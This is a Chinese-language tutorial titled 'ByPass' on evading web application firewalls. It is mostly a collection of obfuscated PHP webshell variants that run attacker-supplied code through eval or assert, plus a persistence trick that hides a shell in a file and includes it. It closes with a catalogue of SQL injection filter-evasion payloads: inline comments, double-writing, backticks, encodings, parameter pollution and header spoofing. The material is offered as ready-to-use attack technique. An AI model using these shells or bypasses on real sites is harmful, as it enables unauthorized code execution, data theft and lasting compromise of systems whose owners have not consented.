ByPass

2022-12-03

WebShell-ByPass

php一句话木马

<?php eval($_REQUEST['a']]);?>

拦截进行替换

    替换eval()

assert()

    替换$_REQUEST['a']

写$_REQUEST无报错,加上 '[]' 后报错
利用end()绕过,end()函数的意义:输出数组中当前元素和最后一个元素的值

<?php
eval(end($_REQUEST));
?>

当用菜刀连接时,无需密码

通过常量的定义

<?php
define("a", "$_REQUEST[2]");
eval(a);
?>

字符串拼接

<?php
$a = 'ass';
$b = 'ert';
$c = $a.$b;
$d = 'c';
@$$d($_REQUEST['a']]);
?>

定义函数强行分割

<?php
function a($a){
return $a;
}
function b($b){
return eval($b);
}
b(a($_REQUEST)['a']);
?>

定义类强行分割

<?php
class User{
public $name = '';
function __destruct(){
eval("$this->name");
}
}
$user = new User;
$user -> name = "._REQUEST[1]";
?>

多方式传参免杀

<?php
$COOKIE = $_COOKIE;
foreach($COOKIE as $key => $value){
if($key == 'assert'){
$key($_REQUEST[1]);
}
}
?>

返回所有函数进行绕过

<?php
$a = get_define_function(); // 返回所有已定义函数的数组【是一个二维数组】
$a[internal][841]($_REQUEST[1]); // 利用internal里面的第841个值【这个值就是assert,后面加个括号代表函数】
?>

绕过WAF的终极

但数据库中必须有一个字段的值是eval($_REQUEST[a])

<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','database'),'select * from info'))['info']);
// mysqli_fetch_assoc函数从结果集中取得一行作为关联数组(也就是会从结果中返回一行数据),执行连接database数据库并执行查询命令
// 来获取info表中的第一行info字段,并通过eval执行
?>

拿到WebShell后如何维持住权限

    打开cmd命令行
    输入 echo "<?php eval($_REQUEST[1]);?>" > /:1.txt
    在新建一个1.php,写 <?php include('/:1.txt');?>包含一句话木马

绕过

替换绕过

union select 绕过

    区别拦截哪个

    union
    select
    union select

    内联注释

    union /*!select*/
    union /*!版本号select*/

and 绕过

可以用&进行替换
也可以URL编码一下

or 绕过

可以利用xor&^||进行替换

空格 绕过

可以用%20%0a%09%a0%0b%0c%0d+()/**/进行替换

= 绕过

可以用likeregexpliker<>!=进行替换

函数替换

用时百度

内联注释

MySql的注释方法

/**/

内联注释 —— 里面的东西可以执行

/*!*/

如:/*!版本号(10000-99999)*/

大小写绕过

and => And

双写绕过

只检验一次

selselectect

特殊字符绕过

%0a(换行)

union /*!10044select*/ 1,2,3 -- 123 /*%oafrom admin#*/

反引号

有些函数加了`后会运行

sleep()、updatexml()、

?id=1 and sleep(5) // 被拦截

?id=1 and `sleep`(5)// 就不会被拦截

编码绕过

    URL编码
    HEX编码
    NATIVE编码

容器特性

Apache

    参数污染

    http://127.0.0.1?id=1&id=2
    http://127.0.0.1?id=1/*&id=2*/

IIS

    %分割

    select
    s%e%l%e%c%t

白名单(XFF)

管理员权限或者是127.0.0.1访问

缓冲区溢出

改成POST数据包

部分中间件-ByPass

常规绕WAF思路

错误的HTTP请求

类似文件上传的绕过,通过畸形的HTTP协议头绕过WAF检测

老版本的WAF可以通过加入: Content-Encoding:deflate就可以绕过WAF

通过Java类关键字

将关键字转换成Unicode或者Hex编码方式,Java程序自动解码,在一定程度上可以绕过WAF

使用未公开的漏洞利用链

部分WAF会将公开的漏洞利用链设置为黑名单,只能自行寻找

ByPass的相关教程结束。

《ByPass.doc》

下载本文的Word格式文档,以方便收藏与打印。